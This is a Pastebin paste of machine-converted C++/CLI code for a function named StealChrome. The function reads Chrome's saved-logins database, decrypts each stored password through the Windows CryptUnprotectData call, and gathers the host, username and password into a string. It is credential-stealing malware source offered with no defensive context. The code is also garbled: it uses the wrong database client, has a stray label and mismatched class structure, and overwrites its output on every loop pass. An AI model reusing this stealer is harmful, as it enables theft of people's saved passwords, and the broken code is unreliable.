Advertisement
Guest User

Untitled

a guest
Jul 31st, 2017
55
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.45 KB | None | 0 0
  1. void StealChrome()
  2. {converted by Instant C++:
  3. System::String ^cpass = System::String::empty;
  4. System::String ^datapath = Environment::GetFolderPath(Environment::SpecialFolder::LocalApplicationData) + "\\Google\\Chrome\\User Data\\Default\\Web Data";
  5. if (File::Exists(datapath))
  6. {
  7. SqlClient::SqlConnection ^SQLconnect = gcnew SqlClient::SqlConnection();
  8. SqlClient::SqlCommand ^SQLcommand = nullptr;
  9. SQLconnect->ConnectionString = "Data Source=" + datapath + ";";
  10. SQLconnect->Open();
  11. SQLcommand = SQLconnect->CreateCommand();
  12. SQLcommand->CommandText = "SELECT * FROM logins";
  13. SqlClient::SqlDataReader ^SQLreader = SQLcommand->ExecuteReader();
  14. System::String ^host = nullptr;
  15. System::String ^user = nullptr;
  16. System::String ^pass = nullptr;
  17. while (SQLreader->Read())
  18. {
  19. host = SQLreader["origin_url"];
  20. user = SQLreader["username_value"];
  21. pass = Decrypt(SQLreader["password_value"]);
  22. if ((user != "") & (pass != ""))
  23. {
  24. pss->Text = host;
  25. cpass = ("=============================" + System::Environment::NewLine + "Host: " + host + System::Environment::NewLine + "Username: " + user + System::Environment::NewLine + "Password: " + pass + System::Environment::NewLine + "=============================" + System::Environment::NewLine + " ");
  26. }
  27. }
  28. delete SQLcommand;
  29. SQLconnect->Close();
  30. }
  31.  
  32. }
  33. private:
  34. [DllImport("Crypt32.dll", SetLastError=true, CharSet=System::Runtime::InteropServices::CharSet::Auto)]
  35. static bool CryptUnprotectData(DATA_BLOB %pDataIn, System::String ^szDataDescr, DATA_BLOB %pOptionalEntropy, IntPtr pvReserved, CRYPTPROTECT_PROMPTSTRUCT %pPromptStruct, int dwFlags, DATA_BLOB %pDataOut);
  36. [Flags()]
  37. private enum class CryptProtectPromptFlags: int
  38. {
  39. CRYPTPROTECT_PROMPT_ON_UNPROTECT = 0X1,
  40. CRYPTPROTECT_PROMPT_ON_PROTECT = 0X2
  41. };
  42. [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)]
  43. private value class CRYPTPROTECT_PROMPTSTRUCT
  44. {
  45. public:
  46. int cbSize;
  47. CryptProtectPromptFlags dwPromptFlags;
  48. IntPtr hwndApp;
  49. System::String ^szPrompt;
  50. };
  51. [StructLayout(LayoutKind::Sequential, CharSet=CharSet::Unicode)]
  52. private value class DATA_BLOB
  53. {
  54. public:
  55. int cbData;
  56. IntPtr pbData;
  57. };
  58. public:
  59. static System::String ^Decrypt(array<System::Byte> ^Datas)
  60. {
  61. DATA_BLOB inj = DATA_BLOB();
  62. DATA_BLOB Ors = DATA_BLOB();
  63. GCHandle Ghandle = GCHandle::Alloc(Datas, GCHandleType::Pinned);
  64. inj.pbData = Ghandle.AddrOfPinnedObject();
  65. inj.cbData = Datas->Length;
  66. Ghandle.Free();
  67. DATA_BLOB temppOptionalEntropy1 = DATA_BLOB();
  68. CRYPTPROTECT_PROMPTSTRUCT temppPromptStruct2 = CRYPTPROTECT_PROMPTSTRUCT();
  69. CryptUnprotectData(inj, nullptr, temppOptionalEntropy1, System::IntPtr::Zero, temppPromptStruct2, 0, Ors);
  70. array<System::Byte> ^Returned = gcnew array<System::Byte>(Ors.cbData + 1);
  71. Marshal::Copy(Ors.pbData, Returned, 0, Ors.cbData);
  72. System::String ^TheString = Encoding::Default->GetString(Returned);
  73. return TheString->Substring(0, TheString->Length - 1);
  74. }
  75. };
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement